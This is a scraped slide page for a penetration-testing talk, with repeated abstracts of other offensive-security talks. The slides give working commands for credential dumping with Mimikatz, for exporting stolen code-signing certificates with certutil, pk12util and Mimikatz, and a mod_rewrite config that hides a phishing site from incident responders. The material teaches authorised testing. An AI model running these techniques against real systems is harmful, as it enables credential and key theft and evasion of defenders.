This talk (hopefully) provides some new pentesters tools and tricks. Basically a continuation of last year’s Dirty Little Secrets they didn’t teach you in Pentest class. Topics include; OSINT and APIs, certificate stealing, F**king with Incident Response Teams, 10 ways to psexec, and more. Yes, mostly using metasploit.
This presentation was given at BSides Austin '15, and is an expanded version of the "I hunt sys admins" Shmoocon firetalk. It covers various ways to hunt for users in Windows domains, including using PowerView.
This presentation was given at BSides Austin '15, and is an expanded version of the "I hunt sys admins" Shmoocon firetalk. It covers various ways to hunt for users in Windows domains, including using PowerView.
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
Although web application firewall (WAF) solutions are very useful to prevent common or automated attacks, most of them are based on blacklist approaches and are still far from perfect. This talk illustrates a number of creative techniques to smuggle and reshape HTTP requests using the strange behaviour of web servers and features such as request encoding or HTTP pipelining. These methods can come in handy when testing a website behind a WAF and can help penetration testers and bug bounty hunters to avoid drama and pain! Knowing these techniques is also beneficial for the defence team in order to design appropriate mitigation techniques. Additionally, it shows why developers should not solely rely on WAFs as the defence mechanism.
Finally, an open source Burp Suite extension will be introduced that can be used to assess or bypass a WAF solution using some of the techniques discussed in this talk. The plan is to keep improving this extension with the help of the http.ninja project.
PSConfEU - Offensive Active Directory (With PowerShell!)Will Schroeder
This talk covers PowerShell for offensive Active Directory operations with PowerView. It was given on April 21, 2016 at the PowerShell Conference EU 2016.
FreeIPA is the open source answer to Active Directory, bringing the functionality of Kerberos and centralized management to the unix world. This talk will dive into the background of FreeIPA, how to attack it, and its parallels to traditional Active Directory. We will cover the FreeIPA equivalents of credential abuse, discovery, and lateral movement, highlighting the similarities and differences from traditional Active Directory tradecraft. This will culminate in multiple real-world demos showing how chains of abuse, previously accessible only in Windows environments, are now possible in the unix realm, providing a new medium for offensive research into Kerberos and LDAP environments.
This presentation was given at PSConfEU and covers common privilege escalation vectors for Windows systems, as well as how to enumerate these issues with PowerUp.
Here Be Dragons: The Unexplored Land of Active Directory ACLsAndy Robbins
Presented by Andy Robbins, Rohan Vazarkar, and Will Schroeder at DerbyCon 7.0: Legacy, in Louisville, Kentucky, 2017.
See the video recording of the presentation here: https://www.youtube.com/watch?v=mfaFuXEiLF4
A follow on to the Encyclopedia Of Windows Privilege Escalation published by InsomniaSec at Ruxcon 2011, this talk is aimed at detailing not just escalation from user to admin and admin to system, but persistence and forced authentication as well as a few other treats.
Carlos García - Pentesting Active Directory [rooted2018]RootedCON
Introducción a las pruebas de intrusión en entornos Microsoft Active Directory en forma de ponencia práctica para auditores o personas interesadas en el pentesting en entornos corporativos. Se dará una breve introducción al servicio de directorio Active Directory y sus componentes más críticos desde el punto de vista de la seguridad.Posteriormente, se explicarán las principales diferencias con respecto a un pentesting clásico de infraestructura, así como las técnicas y ataques más comunes para llevar a cabo el ejercicio y comprometer completamente el dominio corporativo.Requisitos: Se recomienda que los asistentes tengan conocimientos básicos de Active Directory y básicos/medios de pentesting o hacking ético, preferiblemente en infraestructuras y/o Sistemas Operativos.
Evading Microsoft ATA for Active Directory DominationNikhil Mittal
The talk I gave at Black Hat USA 2017 on bypassing Microsoft Advanced Threat Analytics (ATA). I demonstrate techniques to bypass, avoid and attack ATA in this talk.
Fantastic Red Team Attacks and How to Find ThemRoss Wolf
Presented at Black Hat 2019
https://www.blackhat.com/us-19/briefings/schedule/index.html#fantastic-red-team-attacks-and-how-to-find-them-16540
Casey Smith (Red Canary)
Ross Wolf (Endgame)
bit.ly/fantastic19
Abstract:
Red team testing in organizations over the last year has shown a dramatic increase in detections mapped to MITRE ATT&CK™ across Windows, Linux and macOS. However, many organizations continue to miss several key techniques that, unsurprisingly, often blend in with day-to-day user operations. One example includes Trusted Developer Utilities which can be readily available on standard user endpoints, not just developer workstations, and such applications allow for code execution. Also, XSL Script processing can be used as an attack vector as there are a number of trusted utilities that can consume and execute scripts via XSL. And finally, in addition to these techniques, trusted .NET default binaries are known to allow unauthorized execution as well, these include tools like InstallUtil, Regsvcs and AddInProcess. Specific techniques, coupled with procedural difficulties within a team, such as alert fatigue and lack of understanding with environmental norms, make reliable detection of these events near impossible.
This talk summarizes prevalent and ongoing gaps across organizations uncovered by testing their defenses against a broad spectrum of attacks via Atomic Red Team. Many of these adversary behaviors are not atomic, but span multiple events in an event stream that may be arbitrarily and inconsistently separated in time by nuisance events.
Additionally, we introduce and demonstrate the open-sourced Event Query Language for creating high signal-to-noise analytics that close these prevalent behavioral gaps. EQL is event agnostic and can be used to craft analytics that readily link evidence across long sequences of log data. In a live demonstration, we showcase powerful but easy to craft analytics that catch adversarial behavior most commonly missed in organizations today.
Presentation on topics beyond the conventional ethical hacking , discusses job factors and scope in the security field :) this was presented in LPU (Lovely Professional University) as a Seminar with attendees over 200. Meet m e at FB if u want it fb/nipun.jaswal
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
Although web application firewall (WAF) solutions are very useful to prevent common or automated attacks, most of them are based on blacklist approaches and are still far from perfect. This talk illustrates a number of creative techniques to smuggle and reshape HTTP requests using the strange behaviour of web servers and features such as request encoding or HTTP pipelining. These methods can come in handy when testing a website behind a WAF and can help penetration testers and bug bounty hunters to avoid drama and pain! Knowing these techniques is also beneficial for the defence team in order to design appropriate mitigation techniques. Additionally, it shows why developers should not solely rely on WAFs as the defence mechanism.
Finally, an open source Burp Suite extension will be introduced that can be used to assess or bypass a WAF solution using some of the techniques discussed in this talk. The plan is to keep improving this extension with the help of the http.ninja project.
PSConfEU - Offensive Active Directory (With PowerShell!)Will Schroeder
This talk covers PowerShell for offensive Active Directory operations with PowerView. It was given on April 21, 2016 at the PowerShell Conference EU 2016.
FreeIPA is the open source answer to Active Directory, bringing the functionality of Kerberos and centralized management to the unix world. This talk will dive into the background of FreeIPA, how to attack it, and its parallels to traditional Active Directory. We will cover the FreeIPA equivalents of credential abuse, discovery, and lateral movement, highlighting the similarities and differences from traditional Active Directory tradecraft. This will culminate in multiple real-world demos showing how chains of abuse, previously accessible only in Windows environments, are now possible in the unix realm, providing a new medium for offensive research into Kerberos and LDAP environments.
This presentation was given at PSConfEU and covers common privilege escalation vectors for Windows systems, as well as how to enumerate these issues with PowerUp.
Here Be Dragons: The Unexplored Land of Active Directory ACLsAndy Robbins
Presented by Andy Robbins, Rohan Vazarkar, and Will Schroeder at DerbyCon 7.0: Legacy, in Louisville, Kentucky, 2017.
See the video recording of the presentation here: https://www.youtube.com/watch?v=mfaFuXEiLF4
A follow on to the Encyclopedia Of Windows Privilege Escalation published by InsomniaSec at Ruxcon 2011, this talk is aimed at detailing not just escalation from user to admin and admin to system, but persistence and forced authentication as well as a few other treats.
Carlos García - Pentesting Active Directory [rooted2018]RootedCON
Introducción a las pruebas de intrusión en entornos Microsoft Active Directory en forma de ponencia práctica para auditores o personas interesadas en el pentesting en entornos corporativos. Se dará una breve introducción al servicio de directorio Active Directory y sus componentes más críticos desde el punto de vista de la seguridad.Posteriormente, se explicarán las principales diferencias con respecto a un pentesting clásico de infraestructura, así como las técnicas y ataques más comunes para llevar a cabo el ejercicio y comprometer completamente el dominio corporativo.Requisitos: Se recomienda que los asistentes tengan conocimientos básicos de Active Directory y básicos/medios de pentesting o hacking ético, preferiblemente en infraestructuras y/o Sistemas Operativos.
Evading Microsoft ATA for Active Directory DominationNikhil Mittal
The talk I gave at Black Hat USA 2017 on bypassing Microsoft Advanced Threat Analytics (ATA). I demonstrate techniques to bypass, avoid and attack ATA in this talk.
Fantastic Red Team Attacks and How to Find ThemRoss Wolf
Presented at Black Hat 2019
https://www.blackhat.com/us-19/briefings/schedule/index.html#fantastic-red-team-attacks-and-how-to-find-them-16540
Casey Smith (Red Canary)
Ross Wolf (Endgame)
bit.ly/fantastic19
Abstract:
Red team testing in organizations over the last year has shown a dramatic increase in detections mapped to MITRE ATT&CK™ across Windows, Linux and macOS. However, many organizations continue to miss several key techniques that, unsurprisingly, often blend in with day-to-day user operations. One example includes Trusted Developer Utilities which can be readily available on standard user endpoints, not just developer workstations, and such applications allow for code execution. Also, XSL Script processing can be used as an attack vector as there are a number of trusted utilities that can consume and execute scripts via XSL. And finally, in addition to these techniques, trusted .NET default binaries are known to allow unauthorized execution as well, these include tools like InstallUtil, Regsvcs and AddInProcess. Specific techniques, coupled with procedural difficulties within a team, such as alert fatigue and lack of understanding with environmental norms, make reliable detection of these events near impossible.
This talk summarizes prevalent and ongoing gaps across organizations uncovered by testing their defenses against a broad spectrum of attacks via Atomic Red Team. Many of these adversary behaviors are not atomic, but span multiple events in an event stream that may be arbitrarily and inconsistently separated in time by nuisance events.
Additionally, we introduce and demonstrate the open-sourced Event Query Language for creating high signal-to-noise analytics that close these prevalent behavioral gaps. EQL is event agnostic and can be used to craft analytics that readily link evidence across long sequences of log data. In a live demonstration, we showcase powerful but easy to craft analytics that catch adversarial behavior most commonly missed in organizations today.
Presentation on topics beyond the conventional ethical hacking , discusses job factors and scope in the security field :) this was presented in LPU (Lovely Professional University) as a Seminar with attendees over 200. Meet m e at FB if u want it fb/nipun.jaswal
Abusing bleeding edge web standards for appsec gloryPriyanka Aash
"Through cooperation between browser vendors and standards bodies in the recent past, numerous standards have been created to enforce stronger client-side control for web applications. As web appsec practitioners continue to shift from mitigating vulnerabilities to implementing proactive controls, each new standard adds another layer of defense for attack patterns previously accepted as risks. With the most basic controls complete, attention is shifting toward mitigating more complex threats. As a result of the drive to control for these threats client-side, standards such as SubResource Integrity (SRI), Content Security Policy (CSP), and HTTP Public Key Pinning (HPKP) carry larger implementation risks than others such as HTTP Strict Transport Security (HSTS). Builders supporting legacy applications actively make trade-offs between implementing the latest standards versus accepting risks simply because of the increased risks newer web standards pose.
In this talk, we'll strictly explore the risks posed by SRI, CSP, and HPKP; demonstrate effective mitigation strategies and compromises which may make these standards more accessible to builders and defenders supporting legacy applications; as well as examine emergent properties of standards such as HPKP to cover previously unforeseen scenarios. As a bonus for the breakers, we'll explore and demonstrate exploitations of the emergent risks in these more volatile standards, to include multiple vulnerabilities uncovered quite literally during our research for this talk (which will hopefully be mitigated by d-day)."
(Source: Black Hat USA 2016, Las Vegas)
Externally Testing Modern AD Domains - ArcticconKarl Fosaaen
Externally federated domain endpoints are an exciting target for Red Team assessments. While often overlooked, externally federated domain services can provide multiple access points to an internal network, from the internet. This talk will cover enumeration of federated domains (ADFS and AzureAD), the enumeration of federated services (Office365, Skype for Business, etc.), and attacks that you can leverage against these endpoints to gain access to an internal network. Additional PowerShell tools will be included in the talk to help you automate these attacks.
Security is more critical than ever with new computing environments in the cloud and expanding access to the internet. There are a number of security protection mechanisms available for MongoDB to ensure you have a stable and secure architecture for your deployment. Dave Erickson will walk through general security threats to databases and specifically how they can be mitigated for MongoDB deployments. Rob Moore will then go into depth on the specific topic of setting up and running MongoDB with TLS/SSL and x.509 authentication covering how it works and common errors he's encountered in the field.
This is my presentation from Denver Startup Week 2016 on security for applications and servers. This presentation covers everything you need to know about securing a Linux server and your application.
Practical security - access control, least privilege, cryptography at work, security attacks and pen testing your system with MetaSploit. The enemy knows the system. Not security by obscurity
Your data is much safer at home than it is letting some corporation "take care of it" for you, right? Security reviews for some of the top vendors' devices reveal many interesting findings. Like everything else, there are bugs. But knowing what kinds of bugs and how the vendors have responded will allow you to better understand the impact of plugging these devices into your network. Jeremy will show you just how low access control and least privilege are their list of priorities. He'll also explore the amount of test collateral and debug interfaces sloppily left shipping to consumers. From remote roots to stealing social network tokens to just plain weird stuff, he'll expand on how it's not just about what they do, but also what they don't do. And, he'll give you some useful guidelines on how to close the gaps yourself.
Intro slides for a tutorial on hacking common vulnerabilities and how to prevent those problems in your own code. This is a PHP based tutorial that's hands on, but the slides can help as reference material for a few common hacks
Socially Acceptable Methods to Walk in the Front DoorMike Felch
With initial access vectors getting scarce and the threat landscape evolving at a rapid pace, red teams are beginning to reconsider their angle of pursuit. This has caused old means of entry to be revisited in new ways while also paving the way for new entry techniques for emerging technologies. We will introduce novel approaches to gaining remote read and write access to a users Microsoft Windows file system for exfiltrating sensitive files and planting droppers. Additionally, we will share some unique research on Microsoft Azure tokens and compromising access with minimal effort leading to cloud pivoting opportunities. Attendees can expect to learn about some new red team tradecraft for traditional technologies, innovative tradecraft for emerging cloud environments, and a handful of offsec tools designed to regain traction with initial access.
This talk was given live at WWHF 2021.
Low Hanging Fruit, Making Your Basic MongoDB Installation More SecureMongoDB
Your MongoDB Community Edition database can probably be a lot more secure than it is today, since Community Edition provides a wide range of capabilities for securing your system, and you are probably not using them all. If you are worried about cyber-threats, take action reduce your anxiety!
Similar to Dirty Little Secrets They Didn't Teach You In Pentest Class v2 (20)
Why isn't infosec working? Did you turn it off and back on again?Rob Fuller
BruCon 2019 Keynote -=> My name is Rob Fuller, I've been around a bit, not as long as some but longer than others. From the US military to government contracting, consulting, large companies, tiny startups and silicon valley behemoths, from podcasting to television, I've had a storied and humbling career in infosec. Let’s get past complaining about blinky lights and users. Let’s talk about what actually works and what doesn't.
Writing malware while the blue team is staring at youRob Fuller
Talk given at DerbyCon 2016 and RuxCon 2016
Malware authors and reverse engineers have been playing cat and mouse for a number of years now when it comes to writing and reversing of malware. From nation state level malware to the mass malware that infects grandmas and grandpas, mothers and fathers, the different types of malware employ a myriad of techniques to stop those who look at it from guessing the true intent. This talk will be about some of the unorthodox methods employed by some malware to stay hidden from, or out right ignore the reverse engineering community.
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassRob Fuller
This talk is about methodologies and tools that we use or have coded that make our lives and pentest schedule a little easier, and why we do things the way we do. Of course, there will be a healthy dose of Metasploit in the mix.
Memory Forensics for Pentesters: FirefoxRob Fuller
This is part one in a series of presentations I will be giving at the NoVAHackers meetings on forensics of all kinds as it can be leveraged in a penetration test.
Transcript: Selling digital books in 2024: Insights from industry leaders - T...BookNet Canada
The publishing industry has been selling digital audiobooks and ebooks for over a decade and has found its groove. What’s changed? What has stayed the same? Where do we go from here? Join a group of leading sales peers from across the industry for a conversation about the lessons learned since the popularization of digital books, best practices, digital book supply chain management, and more.
Link to video recording: https://bnctechforum.ca/sessions/selling-digital-books-in-2024-insights-from-industry-leaders/
Presented by BookNet Canada on May 28, 2024, with support from the Department of Canadian Heritage.
Key Trends Shaping the Future of Infrastructure.pdfCheryl Hung
Keynote at DIGIT West Expo, Glasgow on 29 May 2024.
Cheryl Hung, ochery.com
Sr Director, Infrastructure Ecosystem, Arm.
The key trends across hardware, cloud and open-source; exploring how these areas are likely to mature and develop over the short and long-term, and then considering how organisations can position themselves to adapt and thrive.
Search and Society: Reimagining Information Access for Radical FuturesBhaskar Mitra
The field of Information retrieval (IR) is currently undergoing a transformative shift, at least partly due to the emerging applications of generative AI to information access. In this talk, we will deliberate on the sociotechnical implications of generative AI for information access. We will argue that there is both a critical necessity and an exciting opportunity for the IR community to re-center our research agendas on societal needs while dismantling the artificial separation between the work on fairness, accountability, transparency, and ethics in IR and the rest of IR research. Instead of adopting a reactionary strategy of trying to mitigate potential social harms from emerging technologies, the community should aim to proactively set the research agenda for the kinds of systems we should build inspired by diverse explicitly stated sociotechnical imaginaries. The sociotechnical imaginaries that underpin the design and development of information access technologies needs to be explicitly articulated, and we need to develop theories of change in context of these diverse perspectives. Our guiding future imaginaries must be informed by other academic fields, such as democratic theory and critical theory, and should be co-developed with social science scholars, legal scholars, civil rights and social justice activists, and artists, among others.
State of ICS and IoT Cyber Threat Landscape Report 2024 previewPrayukth K V
The IoT and OT threat landscape report has been prepared by the Threat Research Team at Sectrio using data from Sectrio, cyber threat intelligence farming facilities spread across over 85 cities around the world. In addition, Sectrio also runs AI-based advanced threat and payload engagement facilities that serve as sinks to attract and engage sophisticated threat actors, and newer malware including new variants and latent threats that are at an earlier stage of development.
The latest edition of the OT/ICS and IoT security Threat Landscape Report 2024 also covers:
State of global ICS asset and network exposure
Sectoral targets and attacks as well as the cost of ransom
Global APT activity, AI usage, actor and tactic profiles, and implications
Rise in volumes of AI-powered cyberattacks
Major cyber events in 2024
Malware and malicious payload trends
Cyberattack types and targets
Vulnerability exploit attempts on CVEs
Attacks on counties – USA
Expansion of bot farms – how, where, and why
In-depth analysis of the cyber threat landscape across North America, South America, Europe, APAC, and the Middle East
Why are attacks on smart factories rising?
Cyber risk predictions
Axis of attacks – Europe
Systemic attacks in the Middle East
Download the full report from here:
https://sectrio.com/resources/ot-threat-landscape-reports/sectrio-releases-ot-ics-and-iot-security-threat-landscape-report-2024/
Let's dive deeper into the world of ODC! Ricardo Alves (OutSystems) will join us to tell all about the new Data Fabric. After that, Sezen de Bruijn (OutSystems) will get into the details on how to best design a sturdy architecture within ODC.
UiPath Test Automation using UiPath Test Suite series, part 3DianaGray10
Welcome to UiPath Test Automation using UiPath Test Suite series part 3. In this session, we will cover desktop automation along with UI automation.
Topics covered:
UI automation Introduction,
UI automation Sample
Desktop automation flow
Pradeep Chinnala, Senior Consultant Automation Developer @WonderBotz and UiPath MVP
Deepak Rai, Automation Practice Lead, Boundaryless Group and UiPath MVP
GraphRAG is All You need? LLM & Knowledge GraphGuy Korland
Guy Korland, CEO and Co-founder of FalkorDB, will review two articles on the integration of language models with knowledge graphs.
1. Unifying Large Language Models and Knowledge Graphs: A Roadmap.
https://arxiv.org/abs/2306.08302
2. Microsoft Research's GraphRAG paper and a review paper on various uses of knowledge graphs:
https://www.microsoft.com/en-us/research/blog/graphrag-unlocking-llm-discovery-on-narrative-private-data/
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...UiPathCommunity
💥 Speed, accuracy, and scaling – discover the superpowers of GenAI in action with UiPath Document Understanding and Communications Mining™:
See how to accelerate model training and optimize model performance with active learning
Learn about the latest enhancements to out-of-the-box document processing – with little to no training required
Get an exclusive demo of the new family of UiPath LLMs – GenAI models specialized for processing different types of documents and messages
This is a hands-on session specifically designed for automation developers and AI enthusiasts seeking to enhance their knowledge in leveraging the latest intelligent document processing capabilities offered by UiPath.
Speakers:
👨🏫 Andras Palfi, Senior Product Manager, UiPath
👩🏫 Lenka Dulovicova, Product Program Manager, UiPath
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Ramesh Iyer
In today's fast-changing business world, Companies that adapt and embrace new ideas often need help to keep up with the competition. However, fostering a culture of innovation takes much work. It takes vision, leadership and willingness to take risks in the right proportion. Sachin Dev Duggal, co-founder of Builder.ai, has perfected the art of this balance, creating a company culture where creativity and growth are nurtured at each stage.
PHP Frameworks: I want to break free (IPC Berlin 2024)Ralf Eggert
In this presentation, we examine the challenges and limitations of relying too heavily on PHP frameworks in web development. We discuss the history of PHP and its frameworks to understand how this dependence has evolved. The focus will be on providing concrete tips and strategies to reduce reliance on these frameworks, based on real-world examples and practical considerations. The goal is to equip developers with the skills and knowledge to create more flexible and future-proof web applications. We'll explore the importance of maintaining autonomy in a rapidly changing tech landscape and how to make informed decisions in PHP development.
This talk is aimed at encouraging a more independent approach to using PHP frameworks, moving towards a more flexible and future-proof approach to PHP development.
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...James Anderson
Effective Application Security in Software Delivery lifecycle using Deployment Firewall and DBOM
The modern software delivery process (or the CI/CD process) includes many tools, distributed teams, open-source code, and cloud platforms. Constant focus on speed to release software to market, along with the traditional slow and manual security checks has caused gaps in continuous security as an important piece in the software supply chain. Today organizations feel more susceptible to external and internal cyber threats due to the vast attack surface in their applications supply chain and the lack of end-to-end governance and risk management.
The software team must secure its software delivery process to avoid vulnerability and security breaches. This needs to be achieved with existing tool chains and without extensive rework of the delivery processes. This talk will present strategies and techniques for providing visibility into the true risk of the existing vulnerabilities, preventing the introduction of security issues in the software, resolving vulnerabilities in production environments quickly, and capturing the deployment bill of materials (DBOM).
Speakers:
Bob Boule
Robert Boule is a technology enthusiast with PASSION for technology and making things work along with a knack for helping others understand how things work. He comes with around 20 years of solution engineering experience in application security, software continuous delivery, and SaaS platforms. He is known for his dynamic presentations in CI/CD and application security integrated in software delivery lifecycle.
Gopinath Rebala
Gopinath Rebala is the CTO of OpsMx, where he has overall responsibility for the machine learning and data processing architectures for Secure Software Delivery. Gopi also has a strong connection with our customers, leading design and architecture for strategic implementations. Gopi is a frequent speaker and well-known leader in continuous delivery and integrating security into software delivery.
How world-class product teams are winning in the AI era by CEO and Founder, P...
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
1.
2. Whoami
• Rob Fuller (mubix)
– Twitter -> mubix
– Blog -> http://www.room362.com
– NoVA Hackers
• Previous Talks
– Dirty Little Secrets
– Networking for Penetration Testers
– Metasploit Framework/Pro Training for Rapid7
– Deep Magic 101
– Couch to Career in 80 hours
3. Whoami
• Chris Gates (CG)
– Twitter carnal0wnage
– Blog carnal0wnage.attackresearch.com
– Job Partner/Principal Security Consultant at Lares
– NoVAHackers
• Previous Talks
– ColdFusion for Pentesters
– From LOW to PWNED
– Dirty Little Secrets
– Attacking Oracle (via web)
– wXf Web eXploitation Framework
– Open Source Information Gathering
– Attacking Oracle (via TNS)
– Client-Side Attacks
4. Infoz
• No philosophical stuff this time
– Just digging in and showing neat shit we’ve been
doing since last year
– Last year’s stuff still applies although was told we
were “preaching to the choir”…who still doesn’t
do it…maybe on Sundays…
– Anway…
5. Agenda
• Putting in the hours on LinkedIn for SE
• Giving IR teams a run for their money
• Stealing certs
• Mimikatz with Metasploit
• New Incognito && Netview release
• Ditto
• 10 ways to PSEXEC
• Why doesn’t SYSTEM have proxy settings!?!
• Windows is my backdoor (bitsadmin, powershell, wmi )
• WebDAV server via metasploit
• Turning your External Pentest into an Internal one
• Overview of current DNS Payload options (if time)
6. The setup…
We like to use LinkedIn for OSINT but
how can we do it better?
7. Becoming a LiON
• Why?
• API is based on YOUR
connections
• 2nd and 3rd level connections
count but are give different
access
• Creating a fake account
• Connecting with Recruiters ++
• Connecting with “Open
Networkers”
8. LinkedIn API
• URL:
https://developer.linkedin.com
• Allows you to query
information
– Company info
– Groups
– Name about your 1st &
2nd order connections
9. Big Ass LinkedIn Network
• Meet “John”
• John has been busy being awesome on LinkedIn
for the last few months
11. LinkedIn API
• Limited by YOUR connections and network
reach
• API gives you NO info about 3rd order
connections
• Usually you’ll see more info via the web on 3rd
order people
• The total number of search results possible for
any search will vary depending on the
user's account level.
22. Phishing and F**king with IR Teams
• Thanks to people like SANS organizations have
a standardized, repeatable, process
– What’s not to like?
– Submit to the sandbox
– Submit to the malware lookup site
– I feel safe!
• But, sure does suck when you spend all that
time setting up a phish only to have it ruined
by this well tuned, standardized process…
23. Phishing and F**king with IR Teams
• What you *could* do…
– Build a phish that EVERYONE will report
– Capture the IR process via log/scan/analyst activity
• This gives you intel on:
– Which services are contracted out for analysis
• And their IPs
– Are humans in the mix
• And their IPs
– Level of sophistication
24. Phishing and F**king with IR Teams
• Once you know who’s coming to do analysis,
we can send them to an alternate site and
keep the users going to the phish site.
• How?
25. Phishing and F**king with IR Teams
• Apache and mod-rewrite is an option
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT}
^.*(<|>|'|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT}
^.*(HTTrack|clshttp|archiver|load
er|email|nikto|miner|python|wget|Wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|libwww-
perl|curl|libcurl|harvest|scan|grab|extract).* [NC,OR]
RewriteCond %{REMOTE_ADDR} ^188.168.16.164$ [OR] #outside
IR
RewriteCond %{REMOTE_ADDR} ^66.249.73.136$ [OR]
#googlebot
RewriteCond %{REMOTE_ADDR} ^88.88. [OR]
RewriteRule ^(/.*) http://www.totallysafesite.com/$1
[R,L]
26. The setup…
I want to find and steal code signing
certificates from victims
27. Stealing Certificates
• Why?
• Have you tried to get/buy one? It’s a pain in
the ass.
– I see why people just steal them
• Impact
– Sign code as the company
– Now your code may be *more* trusted by the
victim…or at least less suspicious
– Can you steal their wildcard SSL cert?
28. Stealing Certificates
• If you export one, it has to have a password
• However, if YOU export it, YOU can set the
password.
• You can do this all on the command line
– Use mozilla’s certutil
• http://www.mozilla.org/projects/security/pki/nss/tools
/certutil.html
– Use Mimikatz
29. Stealing Certificates
• Mozilla certutil
• Compile your own, or download precompiled bins
certutil.exe -L -d
C:UsersCGAppDataRoamingMozillaFirefoxProfiles6smdhwru.def
ault-1339854577637
VeriSign Class 3 Extended Validation SSL CA ,,
DigiCert High Assurance CA-3 ,,
VeriSign Class 3 International Server CA - G3 ,,
COMODO Extended Validation Secure Server CA 2 ,,
Verified Publisher LLC's COMODO CA Limited ID
u,u,u <------- code signer
Akamai Subordinate CA 3 ,,
VeriSign, Inc. ,,
--snip--
30. Stealing Certificates
• Mozilla certutil
• -L List all the certificates, or display information about a named certificate, in a
certificate database.
certutil.exe -L -d
C:UsersCGAppDataRoamingMozillaFirefoxProfiles6smdhwru.defaul
t-1339854577637
VeriSign Class 3 Extended Validation SSL CA ,,
DigiCert High Assurance CA-3 ,,
VeriSign Class 3 International Server CA - G3 ,,
COMODO Extended Validation Secure Server CA 2 ,,
Verified Publisher LLC's COMODO CA Limited ID u,u,u
Akamai Subordinate CA 3 ,,
VeriSign, Inc. ,,
--snip
• “u” Certificate can be used for authentication or signing
• http://www.mozilla.org/projects/security/pki/nss/tools/certutil.html
31. Stealing Certificates
• Mozilla pk12util.exe
• To extract the cert:
C:UsersCGDownloadsnss-3.10nss-3.10bin>pk12util.exe -
n "Verified Publisher LLC's COMODO CA Limited ID" -d
C:UsersCGAppDataRoamingMozillaFirefoxProfiles6smdh
wru.default-1339854577637 -o test2.p12 -W mypassword1
• http://www.mozilla.org/projects/security/pki/nss/tools/pk12util.html
32. Stealing Certificates
Via MimiKatz (list certs)
execute -H -i -c -m -d calc.exe -f mimikatz.exe -a '"crypto::listCertificates
CERT_SYSTEM_STORE_LOCAL_MACHINE My" exit‘
Process 3472 created.
Channel 12 created.
mimikatz 1.0 x86 (RC) /* Traitement du Kiwi (Sep 6 2012 04:02:46) */
// http://blog.gentilkiwi.com/mimikatz
mimikatz(commandline) # crypto::listCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE My
Emplacement : 'CERT_SYSTEM_STORE_LOCAL_MACHINE'My
- sqlapps01
Container Clé : SELFSSL
Provider : Microsoft RSA SChannel Cryptographic Provider
Type : AT_KEYEXCHANGE
Exportabilité : OUI
Taille clé : 1024
mimikatz(commandline) # exit
33. Stealing Certificates
Via MimiKatz (export certs)
execute -H -i -c -m -d calc.exe -f mimikatz.exe -a '"crypto::exportCertificates
CERT_SYSTEM_STORE_LOCAL_MACHINE" exit'
Process 6112 created.
Channel 23 created.
mimikatz 1.0 x86 (RC) /* Traitement du Kiwi (Sep 6 2012 04:02:46) */
// http://blog.gentilkiwi.com/mimikatz
mimikatz(commandline) # crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE
Emplacement : 'CERT_SYSTEM_STORE_LOCAL_MACHINE'My
- sqlapps01
Container Clé : SELFSSL
Provider : Microsoft RSA SChannel Cryptographic Provider
Type : AT_KEYEXCHANGE
Exportabilité : OUI
Taille clé : 1024
Export privé dans 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_0_sqlapps01.pfx' : OK
Export public dans 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_0_sqlapps01.der' : OK
mimikatz(commandline) # exit
34. The setup…
Mimikatz is awesome and I want to
execute it without putting bins on the box
37. Mimikatz
• Mimikatz detected by AV
• Sekurlsa.dll detected by AV
• WCE detected by AV
• WCE IN MEMORY! (kinda)
Stop submitting $#!+ to Virus Total!
38. Mimikatz
• New version (6 Sep 12) supports in-memory
• execute -H -i -c -m -d calc.exe -f mimikatz.exe -a
'"sekurlsa::logonPasswords full" exit'
43. New Incognito (find_token)
C:>find_token.exe dc1
[*] Scanning for logged on users...
Server Name Username
------------------------------------------------------
dc1 PROJECTMENTORjdoe
dc1 PROJECTMENTORjdoe
45. Release of NETVIEW
C:Documents and SettingsuserDesktop>netview
Netviewer Help
--------------------------------------------------------------------
-d domain : Specifies a domain to pull a list of hosts from
uses current domain if none specified
-f filename.txt : Speficies a file to pull a list of hosts from
-o filename.txt : Out to file instead of STDOUT
46. Release of NETVIEW
C:Documents and SettingsuserDesktop>netview -d
[+] Host: WIN7X64
[*] -d used without domain specifed - using current domain
[+] Number of hosts: 3
Enumerating AD Info
[+] WIN7X64 - Comment -
[+] Host: DC1 [+] WIN7X64 - OS Version - 6.1
Enumerating AD Info Enumerating IP Info
[+] DC1 - Comment -
[+] WIN7X64 - IPv4 Address - 172.16.10.216
[+] DC1 - OS Version - 6.1
[+] DC1 - Domain Controller
Enumerating Share Info
Enumerating IP Info [+] WIN7X64 - Share - ADMIN$ Remote Admin
[+] DC1 - IPv4 Address - 172.16.10.10 [+] WIN7X64 - Share - C$ Default share
[+] WIN7X64 - Share - IPC$ Remote IPC
Enumerating Share Info
[+] DC1 - Share - ADMIN$ Remote Admin
[+] DC1 - Share - C$ Default share Enumerating Session Info
[+] DC1 - Share - IPC$ Remote IPC [+] WIN7X64 - Session - USER from 172.16.10.206 - Active: 0 - Idle: 0
[+] DC1 - Share - NETLOGON Logon server share
[+] DC1 - Share - SYSVOL Logon server share Enumerating Logged-on Users
Enumerating Session Info
[+] DC1 - Session - USER from 172.16.10.206 - Active: 0 - Idle: 0
Enumerating Logged-on Users
[+] DC1 - Logged-on - PROJECTMENTORjdoe
[+] DC1 - Logged-on - PROJECTMENTORjdoe
48. The setup…
Dropping binaries is a necessity sometimes,
persistence for instance, but unless you
name your bin SVCHOST.exe you don’t want
it looking like:
56. Sysinternal PSEXEC
POSITIVES NEGATIVES
• Never going to be on • Need a Password
any AV list • Leaves PSEXESVC
• Executes binary as user running
specified, not as • Have to touch disk if not
